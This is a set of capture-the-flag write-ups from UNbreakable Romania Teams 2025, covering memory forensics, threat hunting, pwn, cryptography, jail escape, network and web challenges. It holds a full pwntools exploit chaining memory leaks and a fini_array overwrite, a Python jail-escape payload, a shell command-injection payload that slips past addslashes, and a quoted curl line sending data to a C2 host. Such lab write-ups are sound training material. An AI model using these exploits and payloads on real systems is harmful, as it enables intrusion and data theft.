UNbreakable Romania Teams 2025 Write-ups
Introduction
These write-ups detail the challenges our team solved in the UNbreakable Romania Teams 2025 CTF, securing our place in the finals. Thanks to my teammates for their collaboration and to the organizers for a well-run event.
jvroom: Forensics
Proof of flag
Q1. What version of OS build is present?
Answer: 19041
Q2. What is the PID of the text viewing program?
Answer: 7296
Q3. What is the parent process name of the text viewing program?
Answer: explorer.exe
Q4. What is the number of characters for the command that opens the important file?
Answer: 73
Q5. Tool that can be used to work with a hex dump.
Answer: xxd
Q6. What car manufacturer is being compromised?
Answer: toyota
Q7. What is the decoded information that was stolen?
Answer: w1Nd0W5_w1Th_f0Rd_r4M
Q8. From which car model was the key stolen?
Answer: supra
Q9. At which hexadecimal memory location (32 bytes aligned) can the car model be found?
Answer: 2f86bf60
Summary
In this challenge, we are given a memory dump of a Windows system. We analyze the memory dump with tools like volatility and xxd to extract information and answer the questions.
Solution
For this challenge, we relay havily on the volatility framework. We use the volatility
command to analyze the memory dump and extract information about the processes running on the system.
You can find a very useful cheat sheet for volatility commands that can assist in the analysis here: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.html
1. What version of OS build is present?
vol3 -f memdump.mem windows.info.Info
The output of the command will show the OS build version. In this case, it is 19041
.
Kernel Base 0xf80566c1e000
DTB 0x1aa000
Symbols file:///home/mateim/volatility3/volatility3/symbols/windows/ntkrnlmp.pdb/167FE94B5641C005AC3036212A01F8DC-1.json.xz
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock 0xf8056782d420
Major/Minor 15.19041
MachineType 34404
KeNumberProcessors 4
SystemTime 2025-04-04 09:58:32
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
NtMajorVersion 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Tue Sep 26 06:53:33 2023
2. What is the PID of the text viewing program?
vol3 -f memdump.mem windows.pslist.PsList
We look at the output and we find the PID of notepad.exe, which is the text viewing program. The PID is 7296
.
7296 5840 notepad.exe 0x9d03283d1300 1 - 1 False 2025-04-04 09:47:05.000000 N/A Disabled
3. What is the parent process name of the text viewing program?
We run the same command as before but this time we look at the PID 5840 (the PPID of notepad.exe). The parent process name is explorer.exe
.
4. What is the number of characters for the command that opens the important file?
vol3 -f memdump.mem windows.cmdline.CmdLine
The command that opens the important file is:
C:\Windows\system32\NOTEPAD.EXE C:\Users\elasticuser\Desktop\toyota.txt
The number of characters is 73
.
5. Tool that can be used to work with a hex dump.
From common knowledge, we know that xxd
is a tool that can be used to work with hex dumps. We can use it to convert the hex dump to binary and vice versa.
6. What car manufacturer is being compromised?
From the answer to question 4, we can see that the file toyota.txt
is being opened. This indicates that the car manufacturer being compromised is toyota
.
7. What is the decoded information that was stolen?
strings memdump.mem | grep toyota
If we look at the output of the command, we can see this:
key to open my toyota supra is , i think ....
toyota key is dzFOZDBXNV93MVRoX2YwUmRfcjRN
toyota key is dzFOZDBXNV93MVRoX2YwUmRfcjRN
toyota key is dzFOZDBXNV9
toyota key is dzFOZDBXNV7=
toyota key is dzFOZDB
If we decode base64, we get the following string:
dzFOZDBXNV93MVRoX2YwUmRfcjRN -> decoded from base 64 -> w1Nd0W5_w1Th_f0Rd_r4M
8. From which car model was the key stolen?
From the output of the command in question 7, we can see that the car model is supra
.
9. At which hexadecimal memory location (32 bytes aligned) can the car model be found?
xxd memdump.mem | grep supra
0a770c40: 7375 7072 616f 7264 696e 617a 6168 7324 supraordinazahs$
114ec150: 7974 7465 6e5c 7375 7072 616d 6178 696c ytten\supramaxil
14264300: 6e64 736f 706c 7973 f931 7375 7072 616f ndsoplys.1suprao
15f9aef0: 617a 616d 2073 7570 7261 6f72 6469 6e61 azam supraordina
1a7c1f90: f3ac 0580 0812 6967 7374 2073 7570 7261 ......igst supra
216c2700: 1267 656c 7365 255c 7375 7072 6161 7464 .gelse%\supraatd
264d6c10: 7375 7072 616f 7264 696e 6172 7973 0068 supraordinarys.h
283e9630: 125c 7375 7072 616d 6178 6e65 7474 796b .\supramaxnettyk
2f86bf60: 6f79 6f74 6120 7375 7072 6120 6973 202c oyota supra is ,
36f93640: 6273 6b79 7474 656e 5c73 7570 7261 6d61 bskytten\suprama
The answer is 2f86bf60
.
keep-it-locked: Forensics
Proof of flag
UNR{n0_p@ss0rd_man@g3r_can_KEE_m3_0ut}
Summary
In this challenge, we relay heavily on the volatility framework to analyze the functionality of a mallware that extracts data from a keepass database.
Solution
Because we know that we have a mallware present on the system (which has been ran), we can use this useful volatility command to find hidden and injected code:
vol.py -f file.dmp windows.malfind.Malfind
Somewhere in the output we can see this:
1004 KeePass.exe 0x1650000 0x1650fff VadS PAGE_EXECUTE_READWRITE 1 1 Disabled N/A
74 30 6d 61 74 30 50 6f t0mat0Po
74 40 74 6f 53 6f 75 70 t@toSoup
31 31 31 00 00 00 00 00 111.....
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
00 00 00 00 00 00 00 00 ........
Which represents the data that was injected into the keepass process.
From this we deduse that the password that opens the database is t0mat0Pot@toSoup111
.
Next we scan all the files in the system:
vol3 -f dump_new.raw windows.filescan.FileScan
We find out the virtual address of the keepass database.
0xdc84d384f9e0 \Users\windows\Desktop\Database.kdbx 216
And we just extract it with the following command:
vol3 -f dump_new.raw windows.dumpfiles.DumpFiles --virtaddr 0xdc84d384f9e0
After this, we just open the database and put in the password we found before and get the flag.
malware-chousa: Threat Hunting
Proof of flag
Q1. What .bat file is the source of infection?
Answer: start.bat
Q2. What Windows Logs file from EventViewer contains information about creation of users?
Answer: Security
Q3. What new user was created by malware? (see log.evtx)
Answer: artifact
Q4. What is the extension of the encrypted files?
Answer: .a4k
Q5. From what IP is backdoor downloaded? (see capture.pcapng)
Answer: 192.168.100.47
Q6. What registry is used for persistence? (see registry.reg)
Answer: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Q7. Path of the Powershell history file?
Answer: C:\Users\atomi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Q8. Enter the flag
Answer: CTF{u4vz7r1yq2t9x0p8w5j3k7m6l2c1n0z}
Summary
In this cahllenge, we are given multiple files:
- log.evtx: Windows Event Viewer log file
- registry.reg: Windows Registry file
- capture.pcapng: Network traffic capture file
- image.ad1: Windows image file
We analyze the provided files with multiple tools to extract information about the malware and answer the questions.
Solution
1. What .bat file is the source of infection?
For the first question, we from the anser format specified that we need to find a .bat
file.
strings * | grep .bat
Output:
H+zbat
Gbat26
Gbat.
`bat
CollectSyncLogs.bat
CollectSyncLogs.bat
Iabat
Mpbat
Jbat
Obat?
start.bat
start.bat
The answer is start.bat
.
2. What Windows Logs file from EventViewer contains information about creation of users?
We can find the answer to this question just by asking ChatGPT. The answer is Security
.
3. What new user was created by malware? (see log.evtx)
We open the log.evtx file in Event Viewer and look for the user creation event. The user creation event is associated with Event ID 4720. We can filter the events by this ID to find the relevant event.
After filtering, we can see that the new user created by the malware is artifact
by looking through different events.
4. What is the extension of the encrypted files?
Opening the image.ad1
file in FTK Imager, and looking at different files, we can see that the extension of the encrypted files is .a4k
.
5. From what IP is backdoor downloaded? (see capture.pcapng)
The IP could easealy be found by opening the capture.pcapng
file in Wireshark and looking at the packets. We can filter the packets by HTTP
to find the relevant packets.
6. What registry is used for persistence? (see registry.reg)
We can just open the registry.reg
file in a text editor and just search for start.bat
to find the registry key used for persistence. The answer is HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"OneDrive"="\"C:\\Users\\atomi\\AppData\\Local\\Microsoft\\OneDrive\\OneDrive.exe\" /background"
"PersistentExecutable"="C:\\Users\\atomi\\Desktop\\start.bat"
"MicrosoftEdgeAutoLaunch_BFF4AC6920A84A7751B7395B74F502DA"="\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\" --no-startup-window --win-session-start"
7. Path of the Powershell history file?
We can find the path of the Powershell history file by looking at the image.ad1
file in FTK Imager. The path is C:\Users\atomi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
.
8. What is the flag for this challenge?
The flag is located in the history file.
Clear-History
curl http://c2implant.com/flag=CTF{u4vz7r1yq2t9x0p8w5j3k7m6l2c1n0z}
cat 'C:\Users\atomi\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt'
The flag is CTF{u4vz7r1yq2t9x0p8w5j3k7m6l2c1n0z}
.
stolen-data: Mobile
Proof of flag
CTF{9a4477c0b485e0427c177e1b4274df935f3bc867e537aae5bd54e0b22ea71eb1}
Summary
In this challenge, we are given an apk file. We use it in order to emulate the mobile app, we abuse a missconfiguration in the app that allows us to obtain an admin cookie just by knowing its email. We then change the password and login and get the flag.
Solution
Without looking at the code, we just load up the apk file in android strudio in order to emulate it and then just inspect the network traffic with burpsuite.
After logining in, with the name, email, and the password, we can see that the server gives as a session cookie or a session id. After further inspection, we can see an API endpoint (/api/auth/me), that allows us the send an email and recive a session cookie that is atributed to the email.
Because we know the email of the admin, we can just send a request to the endpoint and get the session cookie. After this, we can just change the password and login with the new password and get the flag.
scoala-de-paunari: Pwn
Proof of flag
CTF{plu5_s1_minu5_1n_sc4nf_d3zvalu1e_s3cre7e}
CTF{m0d_s1_d0lar_1n_prin7f_p0t_f4ce_ravag11}
CTF{v3chiul_env1ron_3_mer3u_d3_n4dejd3}
CTF{un_by7e_5cr1s_1n_FINI_3_suf1c1en7}
Summary
In this challenge, we are given an executable file and a Dockerfile. We appaly diffrent pwn techniques to get the flags.
Solution
Before we begin it is important to mention that we needed to solve this challange in a docker container (On a kali machine it doesn’t work). The docker file is provided in the challenge. We can build the docker image with the following command:
# Build the Docker image
docker build -t paunari .
# Run the Docker container
docker run -it --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined paunari
This is the start of our script:
from pwn import *
import os
os.system('rm core.*')
context.terminal = ['tmux', 'split-window', '-h']
elf=context.binary=ELF("paunari")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# p=process(elf.path,level='error')
p=remote("34.159.27.166",31653)
1. Year 1
unsigned __int64 year1()
{
int v1; // [rsp+Ch] [rbp-24h] BYREF
_QWORD v2[2]; // [rsp+10h] [rbp-20h] BYREF
char *v3; // [rsp+20h] [rbp-10h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts(aAnul1);
puts("[*] Bun venit Bobocule! In primul an ne vom concentra pe intelegerea Zonelor de Memorie asociate Executabilului.");
printf(" > Introdu un numar cuprins intre 0-9: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 9 )
{
puts("[!] Numar incorect! Ne vedem la toamna.");
exit(1);
}
printf(" > Introdu o noua valoare: ");
__isoc99_scanf("%ld", &global_array[v1]);
printf(" Valoarea introdusa la index %d este = 0x%lx\n", v1, global_array[v1]);
printf(" > Introdu Adresa de memorie unde incepe Executabilul: ");
__isoc99_scanf("%lx", v2);
v2[1] = 0LL;
if ( v2[0] )
{
puts("[!] Valoarea introdusa este gresita! Ne vedem la toamna.");
exit(1);
}
v3 = getenv("FLAG1");
if ( v3 )
printf("[*] Felicitari! Diploma de absolvire a anului intai: %s\n", v3);
else
puts("[*] Felicitari! Contacteaza adminul pentru a obtine diploma de absolvire.");
puts(&byte_243A);
return v4 - __readfsqword(0x28u);
}
The main idea hear was the leak an addres from the executable file. We can achive that by passing a negative index and then write -
insted of a value in order to basicaly skip the operation.
After the leak we can just calucalte the offset until the PIEBASE and then we can just send the address of the executable to the server and get the first flag.
Here is the code that we used to achive this:
######################################################YEAR1################
p.sendlineafter(b"0-9: ",b'-10') #offset=15824
p.sendlineafter(b'valoare: ',b'-')
p.recvuntil(b'este = ')
leak=p.recvline().strip().decode()
leak=int(leak,16)
piebase=leak-15824
elf.address=piebase
print("Piebase: ", hex(piebase))
p.sendlineafter(b'Executabilul: ',str(hex(piebase)))
######################################################YEAR1################
2. Year 2
unsigned __int64 year2()
{
_QWORD v1[2]; // [rsp+8h] [rbp-28h] BYREF
char *v2; // [rsp+18h] [rbp-18h]
char format[4]; // [rsp+23h] [rbp-Dh] BYREF
char v4; // [rsp+27h] [rbp-9h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts(aAnul2);
puts(
"[*] Bun venit Juniorule! In al doilea an ne vom concentra pe intelegerea literaturii, motiv pentru care vom vizita B"
"iblioteci si Librarii.");
*(_DWORD *)format = 0;
v4 = 0;
printf(" > Introdu un cuvant de 4 caractere: ");
__isoc99_scanf("%4s", format);
printf(" ");
printf(format);
putchar(10);
printf(" > Introdu Adresa de memorie unde incepe libc: ");
__isoc99_scanf("%lx", v1);
v1[1] = &puts - 62952;
if ( &puts - 62952 != (int (**)(const char *))v1[0] )
{
puts("[!] Valoarea introdusa este gresita! Ne vedem la toamna.");
exit(1);
}
v2 = getenv("FLAG2");
if ( v2 )
printf("[*] Felicitari! Diploma de absolvire a anului doi: %s\n", v2);
else
puts("[*] Felicitari! Contacteaza adminul pentru a obtine diploma de absolvire.");
puts(&byte_243A);
return v5 - __readfsqword(0x28u);
}
Similar to the first year, we need to provide the LIBC base addres in order to get the flag.
Looking at the code we have a simple printf leak vulnerability. We can send a payload like %p
and get an address from the libc. After this we can just calculate the offset to the libc base and send it to the server.
######################################################YEAR2################
payload = b'%4$p'
p.sendafter(b'caractere: ',payload)
leak=p.recvline().strip().decode()
leak=int(leak,16)
libcaddr=leak-1688512
libc.address=libcaddr
print("Libc: ",hex(libcaddr))
p.sendlineafter(b'libc: ',str(hex(libcaddr)))
######################################################YEAR2################
3. Year 3
unsigned __int64 year3()
{
unsigned __int64 v0; // rax
_BYTE v2[4]; // [rsp+Ch] [rbp-44h] BYREF
ssize_t v3; // [rsp+10h] [rbp-40h]
unsigned __int64 *v4; // [rsp+18h] [rbp-38h]
unsigned __int64 v5; // [rsp+20h] [rbp-30h]
_BYTE *v6; // [rsp+28h] [rbp-28h]
unsigned __int64 v7; // [rsp+30h] [rbp-20h]
char *v8; // [rsp+38h] [rbp-18h]
unsigned __int64 *buf; // [rsp+40h] [rbp-10h] BYREF
unsigned __int64 v10; // [rsp+48h] [rbp-8h]
v10 = __readfsqword(0x28u);
puts(aAnul3);
puts("[*] Bun venit Seniorule! In al treilea an ne vom concentra pe intelegerea Structurilor de Date.");
buf = 0LL;
printf(" > Introdu o adresa de memorie: ");
v3 = read(0, &buf, 8uLL);
v4 = buf;
v5 = *buf;
printf(" S-a citit valoarea 0x%lx de la adresa 0x%lx\n", v5, buf);
v6 = v2;
if ( v2 >= v5 )
v0 = &v6[-v5];
else
v0 = v5 - v6;
v7 = v0;
if ( v0 > 0xFFFFF )
{
puts("[!] Valoarea citita nu corespunde segmentului stack! Ne vedem la toamna.");
exit(1);
}
v8 = getenv("FLAG3");
if ( v8 )
printf("[*] Felicitari! Diploma de absolvire a anului trei: %s\n", v8);
else
puts("[*] Felicitari! Contacteaza adminul pentru a obtine diploma de absolvire.");
puts(&byte_243A);
return v10 - __readfsqword(0x28u);
}
This time we need to provide a stack address. In order to do this we can just send the the binary the address of environ
from libc (we have the base of libc from the previous year). The address of environ
points to the stack and we can just use it to get the flag.
######################################################YEAR3################
paylaod=p64(libc.symbols.environ)
p.sendlineafter(b'memorie: ',paylaod)
leak=p.recvline().strip().decode().split(' ')
leak=leak[3]
stack_leak=int(leak,16)
print("Stack Leak: ",hex(stack_leak))
######################################################YEAR3################
4. Year 4
void __noreturn year4()
{
int v0; // [rsp+4h] [rbp-1Ch] BYREF
_QWORD v1[3]; // [rsp+8h] [rbp-18h] BYREF
v1[2] = __readfsqword(0x28u);
puts(aAnul4);
puts("[*] Bun venit Veteranule! In al patrulea an ne vom concentra pe Reactii Chimice care creaza scoici.");
printf(" > Introdu adresa de memorie pe care doresti sa o modifici: ");
__isoc99_scanf("%lx", v1);
printf(" > Introdu byte-ul nou (in hex, de ex. 'ff'): ");
__isoc99_scanf("%x", &v0);
v1[1] = v1[0];
*v1[0] = v0;
puts(&byte_243A);
exit(0);
}
This time the code allows us to write a byte at a specific address. We can use this in order to change the last byte of the the banner
function but there is a catch.
In order to be able to change the last byte of the banner
we needed to input an address that pointed to this function. In our case, by analyzing the binary with gdb we can see that the banner function has a pointer to it inside the fini_array
.
The .fini_array is an array of function pointers that are automatically called when the program terminates. These functions perform cleanup tasks (for example, running global destructors).
Here is the solve script:
######################################################YEAR4################
win_addr_byte=p64(elf.symbols['win'])[0]
def change_byte(addr,btt):
p.sendlineafter(b'modifici: ',addr)
p.sendlineafter(b'): ',btt)
addr=str(hex(elf.symbols['fini_array']))[2:].encode()
bt=str(hex(win_addr_byte))[2:].encode()
change_byte(addr, bt)
######################################################YEAR4################
And here is the hole script that solves the challenge:
from pwn import *
import os
os.system('rm core.*')
context.terminal = ['tmux', 'split-window', '-h']
elf=context.binary=ELF("paunari")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
# p=process(elf.path,level='error')
p=remote("34.159.27.166",31653)
######################################################YEAR1################
p.sendlineafter(b"0-9: ",b'-10') #offset=15824
p.sendlineafter(b'valoare: ',b'-')
p.recvuntil(b'este = ')
leak=p.recvline().strip().decode()
leak=int(leak,16)
piebase=leak-15824
elf.address=piebase
print("Piebase: ", hex(piebase))
p.sendlineafter(b'Executabilul: ',str(hex(piebase)))
######################################################YEAR1################
######################################################YEAR2################
payload = b'%4$p'
p.sendafter(b'caractere: ',payload)
leak=p.recvline().strip().decode()
leak=int(leak,16)
libcaddr=leak-1688512
libc.address=libcaddr
print("Libc: ",hex(libcaddr))
p.sendlineafter(b'libc: ',str(hex(libcaddr)))
######################################################YEAR2################
######################################################YEAR3################
paylaod=p64(libc.symbols.environ)
p.sendlineafter(b'memorie: ',paylaod)
leak=p.recvline().strip().decode().split(' ')
leak=leak[3]
stack_leak=int(leak,16)
print("Stack Leak: ",hex(stack_leak))
######################################################YEAR3################
######################################################YEAR4################
win_addr_byte=p64(elf.symbols['win'])[0]
def change_byte(addr,btt):
p.sendlineafter(b'modifici: ',addr)
p.sendlineafter(b'): ',btt)
addr=str(hex(elf.symbols['fini_array']))[2:].encode()
bt=str(hex(win_addr_byte))[2:].encode()
change_byte(addr, bt)
######################################################YEAR4################
p.interactive()
PIN-v2: Reverse-Engineering
Proof of flag
CTF{ea875111287b0f7dd1db64c131e59ba2005e7a4611bace7aab827627e4161acc}
Summary
I used ChatGPT in order to reverse the binary and recover the PIN
Solution
After reversing the binary we find out that this is the pin: [0,3,1,0,$,R,t,A,10,50,50,127,255,7,127]
Hangman: Miscellaneous
Proof of flag
ctf{609e75158367c10d4bd189db41206dbdde4d1c542279ea5275bbcdf440af7509}
Summary
I Bruteforced the letters using pwntools
Solution
At a first glance, we can see that the words generated in the hangman game are not usual words, rather random letters that don’t mean anything if put together. Knowing this i searched on google letters in the alphabet sorted by appearance in words and found this: etaoinshrdlcumwfgypbvkjxqz
I supposed that if i managed to guess the word, the flag would be revealed, and i was right. I grabbed a hold of the flag using this script:
from pwn import *
HOST = '34.107.108.126'
PORT = 31685
letters = 'etaoinshrdlcumwfgypbvkjxqz'
flag = ''
found = False
while True:
if found == True:
break
conn = remote(HOST, PORT)
print(conn.recv())
for letter in letters:
conn.sendline(letter.encode())
caca = conn.recv().decode()
if 'ctf' in caca or 'CTF' in caca:
flag = caca
found = True
if 'The word was' in caca:
conn.close()
break
else:
print(caca)
print('found flag:', flag)
og-jail: Miscellaneous
Proof of flag
ctf{97829f135832f37a4b3d6176227cf6b96d481d543e6051c0087f24c1cd0881ed}
Summary
Classic pyjail ctf in which i used '__import__("os").system("echo FLAG: && cat flag.txt")'
Solution
After interacting with the instance, we can see that this is a classic pyjail ctf, and it was relatively an easy one. With GPT, i got the following payload: '__import__("os").system("echo FLAG: && cat flag.txt")'
bnc: Cryptography
Proof of flag
ctf{5fd924625f6ab16a19cc9807c7c506ae1813490e4ba675f843d5a10e0baacdb8}
Summary
I used a time based attack on the instance
Solution
The challenge comes with this script:
import random
from flag import flag
import time
choices = ["Bear", "Ninja", "Cowboy"]
rules = {
"Bear": "Ninja",
"Ninja": "Cowboy",
"Cowboy": "Bear"
}
def determine_winner(player_choice, computer_choice):
if player_choice == computer_choice:
return "tie"
elif computer_choice == rules[player_choice]:
return "win"
else:
return "lose"
ok = 0
def play_game():
seed = int(time.time())
random.seed(seed)
global ok
print("Welcome to Bear, Ninja, Cowboy!")
win_streak = 0
target_wins = 30
while win_streak < target_wins:
print(f"\nWin streak: {win_streak}/{target_wins}")
print("\nChoose one: Bear, Ninja, or Cowboy")
player_choice = input("Type your choice: ")
rule_checker = 0
for rule in rules:
if player_choice == rule:
rule_checker = 1
if rule_checker == 0:
print("You have to choose between Bear, Ninja and Cowboy")
ok = 1
return
computer_choice = random.choice(choices)
print(f"\nYou chose: {player_choice}")
print(f"Computer chose: {computer_choice}")
result = determine_winner(player_choice, computer_choice)
if result == "win":
win_streak += 1
print(f"You win! {player_choice} beats {computer_choice}.")
elif result == "lose":
win_streak = 0
print(f"You lose! {computer_choice} beats {player_choice}. Streak reset!")
ok = 1
return
else:
print("It's a tie! No streak change.")
play_game()
if ok == 0:
print(f"\nCongratulations! {flag}")
This instruction compromises the instance, because the user can use the same seed in order to generate the choices that the computer will take: seed = int(time.time())
To grab a hold of a flag, we use the following script:
import time
from pwn import *
import random
conn = remote('34.159.72.10', 31018)
seed = int(time.time())
random.seed(seed)
caca = ["Bear", "Ninja", "Cowboy"]
choices = []
rules = {
"Bear": "Ninja",
"Ninja": "Cowboy",
"Cowboy": "Bear"
}
for i in range(31):
choices.append(random.choice(caca))
for choice in choices:
ale = ''
for a in rules:
if rules[a] == choice:
ale = a
conn.sendline(ale.encode())
print(conn.recv())
Very important, we firstly connect to the instance using pwntools, then we grab the time seed. This ensures that the delay of connection will not cause a different seed on the instance.
gamming-habbits: OSINT
Proof of flag
ctf{6acfb96047869efed819b66c2bab15565698d8295ca78d7d4859a94873dcc5ce}
Summary
I found on reddit the location of the green house.
Solution
Looking at the image, i realized that this is from DayZ, so the challenge is to find on the DayZ map the location of the house in the image
I searched on google until i found this post on reddit (At the time i solved the challenge, the post wasn’t removed LOL)
wheel-of-fortune: Cryptography
Proof of flag
ctf{49e6b3ba5aa5a624d22dd1d2cc46804b5d3c51b13096dffb5cd6af8a9ec4eed5}
Summary
I used a tool in order to predict the future numbers
Solution
The challenge comes without a script, but the thing was to think about the instance’s functionality. In this case, you had to figure out that it is about PRNG’s, which solved half of the problem. The second step to solve the challenge was to find out that there is a tool on the web which takes PRNG generated numbers and predicts the future appearances.
I solved the challenge using this script:
from pwn import log, remote
import sys
from mt19937predictor import MT19937Predictor
def main():
HOST = '34.159.27.166'
PORT = 32624
conn = remote(HOST, PORT)
log.info("Connected to remote service")
data = conn.recv()
print(data.decode(errors='ignore'))
predictor = MT19937Predictor()
count = 0
log.info("Collecting 624 outputs from service using the new extraction snippet...")
while count < 624:
conn.sendline(b'1')
conn.recvuntil(b"value: ")
number_line = conn.recvuntil(b"\n").strip()
try:
a = int(number_line)
except Exception:
log.error(f"Failed to parse number: {number_line}")
continue
log.info(f"Output {count+1}: {a}")
predictor.setrandbits(a, 32)
count += 1
conn.recv()
if count < 624:
log.error("Not enough outputs collected from the service. Got only " + str(count) + " outputs.")
sys.exit(1)
log.info("624 outputs collected. Recovering state and predicting next outputs...")
predictions = []
for i in range(100):
raw_pred = predictor.getrandbits(32)
predictions.append(raw_pred)
log.info(f"Raw prediction {i+1}: {raw_pred}")
transformed = []
for x in predictions:
a = ((((x ^ 7) * 37 + 29) // 10000 + 1) % 100) + 1
transformed.append(a)
output_file = "predictions.txt"
with open(output_file, "w") as outf:
for val in transformed:
outf.write(f"{val}\n")
log.info("Predictions written to " + output_file)
print("Transformed predictions:")
print(transformed)
log.info("Sending predictions to the remote service...")
cnt = 0
for guess in transformed:
if cnt != 0:
prompt = conn.recvuntil(b"Guess the number between 1 and 100:")
log.info("Received prompt: " + prompt.decode(errors="ignore"))
else: cnt += 1
conn.sendline(str(guess).encode())
log.info("Sent guess: " + str(guess))
response = conn.recvline(timeout=2)
if response:
log.info("Received response: " + response.decode(errors="ignore"))
log.info("All predictions sent. Switching to interactive mode.")
conn.interactive()
if __name__ == "__main__":
main()
silent-beacon: Network
Proof of flag
ctf{32faf5270d2ac7382047ac3864712cd8cb5b8999511a59a7c5cb5822e0805b91}
Summary
I extracted an mp3 file from the packet file which read the flag out loud.
Solution
At first, i ran the command strings on the capture file, beacuse in most cases this can lead towards important clues.
This is the signature of the LAME MP3 encoder, so the next step was extracting mp3 using this script:
import os
import re
MP3_HEADER_REGEX = re.compile(rb'(ID3.{0,1024}|(\xff[\xfb\xf3\xf2][\x00-\xff]{2}))')
LAME_TAG = b'LAME3.100'
def carve_mp3_from_raw(pcap_path, output_folder="raw_carved_mp3"):
with open(pcap_path, 'rb') as f:
raw_data = f.read()
os.makedirs(output_folder, exist_ok=True)
matches = list(MP3_HEADER_REGEX.finditer(raw_data))
if not matches:
print("[-] No MP3 headers found.")
return
for i, match in enumerate(matches):
start = match.start()
chunk = raw_data[start:start + 10_000_000]
lame_pos = chunk.find(LAME_TAG)
if lame_pos != -1:
print(f"[+] LAME tag found in chunk {i} at offset {lame_pos}")
out_file = os.path.join(output_folder, f"carved_{i}.mp3")
with open(out_file, 'wb') as out:
out.write(chunk)
print(f"[+] MP3 carved to: {out_file}")
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print("Usage: python raw_mp3_carver.py capture.pcap")
sys.exit(1)
carve_mp3_from_raw(sys.argv[1])
This extracted all mp3 files, and the first one when opened, read the flag out loud.
scattered: Network
Proof of flag
CTF{28193eab5b637041aea835924e8a712476bc88a21a25862b78732ab336ba2f33}
Summary
In this challenge, we are given a network capture. The flag is obtained by retreiving 3 images known as parts, which build the flag.
Solution
I opened the pcap file in wireshark and i looked through the packages. At frist glance there are many HTTP and DNS packets, however after a bit of reserach we can see intresting udp packets which contain string like : “FILE:part6.png”. I began following the stream and i understood that the image is divided in different parts.
I started by reconstructing each of them, by placing the hex bytes in a txt file, using wireshark, and removing the strings that contain “FILE:”, and “PART:” and constructing the images using this script:
import re
def remove_encoded_tags_from_hex(hex_string):
# Convert hex to bytes
byte_data = bytes.fromhex(hex_string)
# Decode to latin1 so we can manipulate the embedded text safely
text = byte_data.decode('latin1')
# Remove any "FILE:<filename>.png:PART<number>:" tags
cleaned_text = re.sub(r'FILE:[\w\d_.-]+\.png:PART\d+:', '', text)
# Optionally remove FILE:<filename>.png:END tags
cleaned_text = re.sub(r'FILE:[\w\d_.-]+\.png:END', '', cleaned_text)
# Re-encode cleaned text back to bytes
return cleaned_text.encode('latin1')
def process_hex_input(input_file="hex_input.txt", output_file="output.png"):
# Read the original hex string (no formatting assumptions)
with open(input_file, "r") as f:
hex_data = f.read()
# Remove whitespace/newlines
hex_data = re.sub(r'\s+', '', hex_data)
# Process and clean
cleaned_bytes = remove_encoded_tags_from_hex(hex_data)
# Save as PNG
with open(output_file, "wb") as f:
f.write(cleaned_bytes)
print(f"✅ Cleaned and saved as: {output_file}")
if __name__ == "__main__":
process_hex_input()
#frame contains "part"
Then we find that the flag is divided in three parts, which are in: part1.png, part6.png and part8.png
phpwn: Web
Proof of flag
CTF{f4349967e93964f125623e2832cec93e4d15e1c6b9303cc89bb3f22c2514d77c}
Summary
In this challenge, we can execute malicious comamnds using a backup feature in order to read the flag.
Solution
At first glance, we are presented with an input asking for a uuid. Using “https://www.uuidgenerator.net/”, i managed to create a uuid in order for me to progress to the next input. By reading the source file we can find this function :
function setbackup($uuid, $content){
$raw_json = ['uuid' => $uuid, 'm_threaded' => false, 'supplier' => false, 'initial_content' => $content];
$json = json_encode($raw_json);
$json = addslashes($json);
$output = "echo Backing up user data: \"{$json}\";\n";
$output .= "cp /var/www/html/data/$uuid /backup/;\n\n";
file_put_contents('private/backup.sh', $output, FILE_APPEND); #/var/www/html/private/backup.sh
}
Which places the echo command in a backup.sh function.
In the challenge description, this is mentioned: “Automatic backups every minute included in free tier!”, so we know that this script is ran every minute.
By examining this code :
$dir = '/var/www/html/data/';
$file = $dir . $uuid;
$new_user = !file_exists($file);
$content = '';
if (isset($_POST['content'])){
$content = $_POST['content'];
file_put_contents($file, $content);
if($new_user)
setbackup($uuid,$content);
} else if (!$new_user){
$content=file_get_contents($file);
}
We know that we can read a file. SO my plan was to execute a read command on the flag, and put the output in this file. The problem was that the input was sanitized using addslashes($json);. So in order to put the ”/” character i used : ${HOME%${HOME#?}}
I used this command :
$(cat ${HOME%${HOME#?}}tmp${HOME%${HOME#?}}flag.txt >> ${HOME%${HOME#?}}var${HOME%${HOME#?}}www${HOME%${HOME#?}}html${HOME%${HOME#?}}data${HOME%${HOME#?}}a3bfc3b2-79d9-4e42-8428-9c834dcd1b98)
But at first it didnt work since the file was not created. After a lot of time I concluded that the “data” directory was not created on the instance ( even though in the source file the folder was present ). So before executing this command this was needed to be executed :
$(mkdir ${HOME%${HOME#?}}var${HOME%${HOME#?}}www${HOME%${HOME#?}}html${HOME%${HOME#?}}data)
After this comamnd I created a new uuid in order to backup the contents and i executed the first command and i got the flag.
open-for-business: Web
Proof of flag
CTF{2378f7c994cd18ee3206f253744aea876734a3ed4e6a7244a9f70f73e86ac833}
Summary
